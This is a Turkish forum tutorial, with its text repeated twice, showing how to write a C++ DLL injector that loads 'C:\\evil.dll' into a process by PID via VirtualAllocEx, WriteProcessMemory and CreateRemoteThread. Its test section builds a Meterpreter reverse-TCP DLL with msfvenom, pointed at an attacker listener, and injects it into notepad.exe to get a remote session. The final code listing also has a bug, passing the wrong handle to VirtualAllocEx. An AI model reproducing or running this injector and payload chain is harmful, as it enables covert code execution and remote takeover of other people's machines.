baycpp
Kayıtlı Üye
- Katılım
- 17 Haziran 2024
- Mesajlar
- 20
- Tepkime puanı
- 8
- Konum
- Manisa
- İlgi Alanlarınız
- Programlama, Gitar
- Cinsiyet
-
- Erkek
Giriş
Herkese selamlar. Başlıkta'da gördüğünüz üzere bu yazımda sizlere "DLL Injection"ın ne olduğunu ve "DLL Injector"ın C++ kullanarak nasıl kodlanacağından bahsedeceğim.
Bodoslama giriş yapmak yerine öncelikle genel olarak bir road map'e bakacağız, sonrasında kullanacağımız veri türlerini göreceğiz, son olarak da kodlama kısmına geçiş yapacağız.
Fazla uzatmanın lüzümü yok diye düşünüyorum, dilerseniz başlayalım.
DLL Injection Nedir
Dll injection, bir dll dosyasının çalışan bir programın adres alanına yüklenip, program içerisinde kod çalıştırmak için kullanılan bir yöntemdir.
Kısaca, bir işlemin içerisinde kod yürütmeye yarayan tekniktir.
Peki, DLL Enjeksiyonu hangi yollar izlenerek yapılıyor? Dilerseniz bi' göz atalım.
DLL Injection Aşamalar
Buradaki işlemleri basitçe açıklayalım:
1: İşlem B'miz, işlem A'ya bağlanıyor.
2: İşlem B'miz, sonradan kullanılmak üzere işlem A'da bir bellek tahsis ediyor.
3: İşlem B'miz, işlem A'ya kendini kopyalıyor.
4: İşlem B'miz, işlem A'nın altında çalıştırılıyor ve bu hususla birlikte amacımıza ulaşmış oluyoruz.
Evet, dll injection'ın nasıl işlediği hakkında genel bir fikir sahibi olduk diye düşünüyorum.
Kodlamaya geçmeden önce dilerseniz kullanacağımız veri türlerine kısaca bi' göz atalım.
Veri Türleri
1 -> HANDLE
2 -> LPVOID
3 -> HMODULE
4 -> FARPROC
Handle, Windows platforumunda kullanılan bir türdür ve bir nesneyi temsil eden belirteç gibi düşünülebilir. Bu belirteç, genel olarak dosya, bellek ve thread'ler için kullanılır.
Handle'ın en belirgin özelliği ise türünün belirsiz olmasıdır, yani 'void*' gibi türü belirsiz bir işaretçi olarak düşünülebilir.
Lpvoid, 'void*' türündeki bir işaretçiyi ifade eder. 'void*' türü, herhangi bir türe sahip verinin adresini tutabilen bir işaretçi türüdür.
Hmodule, yüklenmiş bir DLL veya başka bir modülün tanıtıcısını temsil eder. Modüller, uygulama tarafından dinamik olarak yüklenen veya kullanılan yazılım bileşenleridir.
Farproc, bir işlevin bellekteki adresini gösteren bir işaretçi türüdür. Windows işletim sistemi tarafından sağlanan DLL fonksiyonlarını yüklerken veya çağırırken kullanılır.
Eğer tanımları anlamadıysanız problem değil, başta bende anlamamıştım : D
Kodlama kısmında zaten ne amaçla kullanıldığını sizlere net bir şekilde açıklayacağım.
Dilerseniz kodlama kısmına geçiş yapalım. Gazamız mübarek olsun.
KODLAMA
Öncelikle kullanacağımız modülleri include ediyoruz:
Arka planda çalıştıracağımız DLL'i belirtiyoruz ve sonrasında boyutunu alıyoruz:
Burada sizeof() fonksiyonundan sonra "+1" kullanmamızın sebebi, değerin sonunda bittiğini belirtmek için kullanılan "\n, \0" karakterleri için bir byte fazladan koymak.
Main'i oluşturuyoruz ve sonrasında dışarıdan bir argüman alacağımız için parametreleri giriyoruz:
Eğer kullanıcı iki'den düşük bir değer girerse programımız ekrana yazı yazsın ve sonlansın:
Sonradan kullanmak üzere değişkenlerimizi oluşturuyoruz:
Kernel32.dll modülünü ve LoadLibraryA işlevinin adresini alıyoruz:
hKernel32 handle'ı ile "Kernel32"de bulunan "LoadLibraryA" işlevini kullanarak hedeflediğimiz işlem üzerinde dll'i çalıştırmak için bu çağrıları yaptık.
Kısaca, hedef işlemde kod çalıştırmak için. Sonralarda bu lb'yi ve hKernel32'yi kullanacağız.
OpenProcess fonksiyonuyla hedef işlemi açıyoruz:
PROCESS_ALL_ACCESS ile hedef işlem üzerinde tüm haklara sahip oluyoruz.
FALSE ile işlemin oluşturulan başka işlemlere miras bırakmayacağını belirtiyoruz.
DWORD(atoi(argv[1])) ile kullanıcının girdiği PID'yi alıyoruz.
VirtualAllocEx fonksiyonuyla hedef işlemde sanal bellek tahsis ediyoruz:
ph ile hedef işlemi belirtiyoruz.
NULL ile işlemin başlangıç adresinin seçimini işletim sisteminin yapmasını belirtiyoruz.
dllPathSize ile ayrılacak olan bellek boyutunu belirtiyoruz.
(MEM_RESERVE | MEM_COMMIT) ile bellek alanının tahsis türünü belirtiyoruz.
PAGE_EXECUTE_READWRITE ile işlemin okunabilir/yazılabilir olduğunu belirtiyoruz.
WriteProcessMemory fonksiyonuyla hedef işlemin bellek alanına veri yazıyoruz:
ph ile hedef işlemi belirtiyoruz.
rb ile hedef bellek alanını belirtiyoruz.
dllPath ile yazmak istediğimiz veriyi belirtiyoruz.
dllPathSize ile verinin boyutunu belirtiyoruz.
NULL ile verinin geri dönüş istemediğimizi belirtiyoruz.
CreateRemoteThread fonksiyonuyla işlemi başlatıyoruz:
ph ile hedef işlemi belirtiyoruz.
NULL ile işlem üzerinde güvenlik istemediğimizi belirtiyoruz.
0 ile yığın boyutunun varsayılan olduğunu belirtiyoruz.
(LPTHREAD_START_ROUTINE)lb ile iş parçacığının başlayacağı fonksiyonun adresini belirtiyoruz.
rb ile işlem üzerindeki parametreleri belirtiyoruz.
0 ile yaratma bayrağı istemediğimizi belirtiyoruz.
NULL ile işlemin kimlik numarasını döndürmeyeceğimizi belirtiyoruz.
CloseHandle fonksiyonuyla işlemi sonlandırıyoruz:
Kodların Tamamı
Test Aşaması
Öncelikle kodu compile ediyorum:
msfvenom kullanarak windows üzerinde çalışacak zararlı bir dll oluşturuyorum:
msfconsole ile bağlantıyı dinliyorum:
injector.exe dosyamı çalıştırıyorum ve hedef olarak notepad.exe'nin pid'sini veriyorum:
msfconsole üzerinde bir bağlantı gerçekleştiğini görüyorum:
Kapanış
Evet dostlar, konumuz buraya kadardı. Umarım sizler için yararlı bir konu olmuştur, bir hatam varsa mazur görün. Kafanıza takılan herhangi bir soru olursa sorabilirsiniz.
Herkese iyi çalışmalar diliyorum, kendinize iyi bakın, sağlıcakla kalın.
Herkese selamlar. Başlıkta'da gördüğünüz üzere bu yazımda sizlere "DLL Injection"ın ne olduğunu ve "DLL Injector"ın C++ kullanarak nasıl kodlanacağından bahsedeceğim.
Bodoslama giriş yapmak yerine öncelikle genel olarak bir road map'e bakacağız, sonrasında kullanacağımız veri türlerini göreceğiz, son olarak da kodlama kısmına geçiş yapacağız.
Fazla uzatmanın lüzümü yok diye düşünüyorum, dilerseniz başlayalım.
DLL Injection Nedir
Dll injection, bir dll dosyasının çalışan bir programın adres alanına yüklenip, program içerisinde kod çalıştırmak için kullanılan bir yöntemdir.
Kısaca, bir işlemin içerisinde kod yürütmeye yarayan tekniktir.
Peki, DLL Enjeksiyonu hangi yollar izlenerek yapılıyor? Dilerseniz bi' göz atalım.
DLL Injection Aşamalar
Buradaki işlemleri basitçe açıklayalım:
1: İşlem B'miz, işlem A'ya bağlanıyor.
2: İşlem B'miz, sonradan kullanılmak üzere işlem A'da bir bellek tahsis ediyor.
3: İşlem B'miz, işlem A'ya kendini kopyalıyor.
4: İşlem B'miz, işlem A'nın altında çalıştırılıyor ve bu hususla birlikte amacımıza ulaşmış oluyoruz.
Evet, dll injection'ın nasıl işlediği hakkında genel bir fikir sahibi olduk diye düşünüyorum.
Kodlamaya geçmeden önce dilerseniz kullanacağımız veri türlerine kısaca bi' göz atalım.
Veri Türleri
1 -> HANDLE
2 -> LPVOID
3 -> HMODULE
4 -> FARPROC
Handle, Windows platforumunda kullanılan bir türdür ve bir nesneyi temsil eden belirteç gibi düşünülebilir. Bu belirteç, genel olarak dosya, bellek ve thread'ler için kullanılır.
Handle'ın en belirgin özelliği ise türünün belirsiz olmasıdır, yani 'void*' gibi türü belirsiz bir işaretçi olarak düşünülebilir.
Lpvoid, 'void*' türündeki bir işaretçiyi ifade eder. 'void*' türü, herhangi bir türe sahip verinin adresini tutabilen bir işaretçi türüdür.
Hmodule, yüklenmiş bir DLL veya başka bir modülün tanıtıcısını temsil eder. Modüller, uygulama tarafından dinamik olarak yüklenen veya kullanılan yazılım bileşenleridir.
Farproc, bir işlevin bellekteki adresini gösteren bir işaretçi türüdür. Windows işletim sistemi tarafından sağlanan DLL fonksiyonlarını yüklerken veya çağırırken kullanılır.
Eğer tanımları anlamadıysanız problem değil, başta bende anlamamıştım : D
Kodlama kısmında zaten ne amaçla kullanıldığını sizlere net bir şekilde açıklayacağım.
Dilerseniz kodlama kısmına geçiş yapalım. Gazamız mübarek olsun.
KODLAMA
Öncelikle kullanacağımız modülleri include ediyoruz:
C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
Arka planda çalıştıracağımız DLL'i belirtiyoruz ve sonrasında boyutunu alıyoruz:
C:
char dllPath[] = "C:\\evil.dll"; // tam konum
unsigned int dllPathSize = sizeof(dllPath) + 1; // dll path'inin boyutu
Burada sizeof() fonksiyonundan sonra "+1" kullanmamızın sebebi, değerin sonunda bittiğini belirtmek için kullanılan "\n, \0" karakterleri için bir byte fazladan koymak.
Main'i oluşturuyoruz ve sonrasında dışarıdan bir argüman alacağımız için parametreleri giriyoruz:
C:
int main(int argc, char* argv[]) {
return 0;
}
Eğer kullanıcı iki'den düşük bir değer girerse programımız ekrana yazı yazsın ve sonlansın:
C:
if (argc < 2) {
printf("Lütfen PID giriniz!\n");
return -1;
}
Sonradan kullanmak üzere değişkenlerimizi oluşturuyoruz:
C:
HANDLE processHandle;
HANDLE remoteThread;
LPVOID remoteBuffer;
Kernel32.dll modülünü ve LoadLibraryA işlevinin adresini alıyoruz:
C:
HMODULE hKernel32 = GetModuleHandle("Kernel32");
FARPROC lb = GetProcAddress(hKernel32, "LoadLibraryA");
hKernel32 handle'ı ile "Kernel32"de bulunan "LoadLibraryA" işlevini kullanarak hedeflediğimiz işlem üzerinde dll'i çalıştırmak için bu çağrıları yaptık.
Kısaca, hedef işlemde kod çalıştırmak için. Sonralarda bu lb'yi ve hKernel32'yi kullanacağız.
OpenProcess fonksiyonuyla hedef işlemi açıyoruz:
C:
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
PROCESS_ALL_ACCESS ile hedef işlem üzerinde tüm haklara sahip oluyoruz.
FALSE ile işlemin oluşturulan başka işlemlere miras bırakmayacağını belirtiyoruz.
DWORD(atoi(argv[1])) ile kullanıcının girdiği PID'yi alıyoruz.
VirtualAllocEx fonksiyonuyla hedef işlemde sanal bellek tahsis ediyoruz:
C:
remoteBuffer = VirtualAllocEx(processHandle, NULL, dllPathSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
ph ile hedef işlemi belirtiyoruz.
NULL ile işlemin başlangıç adresinin seçimini işletim sisteminin yapmasını belirtiyoruz.
dllPathSize ile ayrılacak olan bellek boyutunu belirtiyoruz.
(MEM_RESERVE | MEM_COMMIT) ile bellek alanının tahsis türünü belirtiyoruz.
PAGE_EXECUTE_READWRITE ile işlemin okunabilir/yazılabilir olduğunu belirtiyoruz.
WriteProcessMemory fonksiyonuyla hedef işlemin bellek alanına veri yazıyoruz:
C:
WriteProcessMemory(processHandle, remoteBuffer, dllPath, dllPathSize, NULL);
ph ile hedef işlemi belirtiyoruz.
rb ile hedef bellek alanını belirtiyoruz.
dllPath ile yazmak istediğimiz veriyi belirtiyoruz.
dllPathSize ile verinin boyutunu belirtiyoruz.
NULL ile verinin geri dönüş istemediğimizi belirtiyoruz.
CreateRemoteThread fonksiyonuyla işlemi başlatıyoruz:
C:
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)lb, remoteBuffer, 0, NULL);
ph ile hedef işlemi belirtiyoruz.
NULL ile işlem üzerinde güvenlik istemediğimizi belirtiyoruz.
0 ile yığın boyutunun varsayılan olduğunu belirtiyoruz.
(LPTHREAD_START_ROUTINE)lb ile iş parçacığının başlayacağı fonksiyonun adresini belirtiyoruz.
rb ile işlem üzerindeki parametreleri belirtiyoruz.
0 ile yaratma bayrağı istemediğimizi belirtiyoruz.
NULL ile işlemin kimlik numarasını döndürmeyeceğimizi belirtiyoruz.
CloseHandle fonksiyonuyla işlemi sonlandırıyoruz:
C:
CloseHandle(processHandle); // Kapatacağımız işlem
Kodların Tamamı
C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
char dllPath[] = "C:\\evil.dll";
unsigned int dllPathSize = sizeof(dllPath) + 1;
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("Lütfen PID giriniz!\n");
return -1;
}
printf("Hedef PID: %d\n", atoi(argv[1]));
HANDLE processHandle;
HANDLE remoteThread;
LPVOID remoteBuffer;
HMODULE hKernel32 = GetModuleHandle("Kernel32");
FARPROC lb = GetProcAddress(hKernel32, "LoadLibraryA");
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(remoteBuffer, NULL, dllPathSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, dllPath, dllPathSize, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)lb, remoteBuffer, 0, NULL);
CloseHandle(processHandle);
return 0;
}
Test Aşaması
Öncelikle kodu compile ediyorum:
Kod:
x86_64-w64-mingw32-gcc -O2 injector.cpp -o injector.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
Kod:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=7171 -ax64 -f dll > evil.dll
injector.exe dosyamı çalıştırıyorum ve hedef olarak notepad.exe'nin pid'sini veriyorum:
msfconsole üzerinde bir bağlantı gerçekleştiğini görüyorum:
Kapanış
Evet dostlar, konumuz buraya kadardı. Umarım sizler için yararlı bir konu olmuştur, bir hatam varsa mazur görün. Kafanıza takılan herhangi bir soru olursa sorabilirsiniz.
Herkese iyi çalışmalar diliyorum, kendinize iyi bakın, sağlıcakla kalın.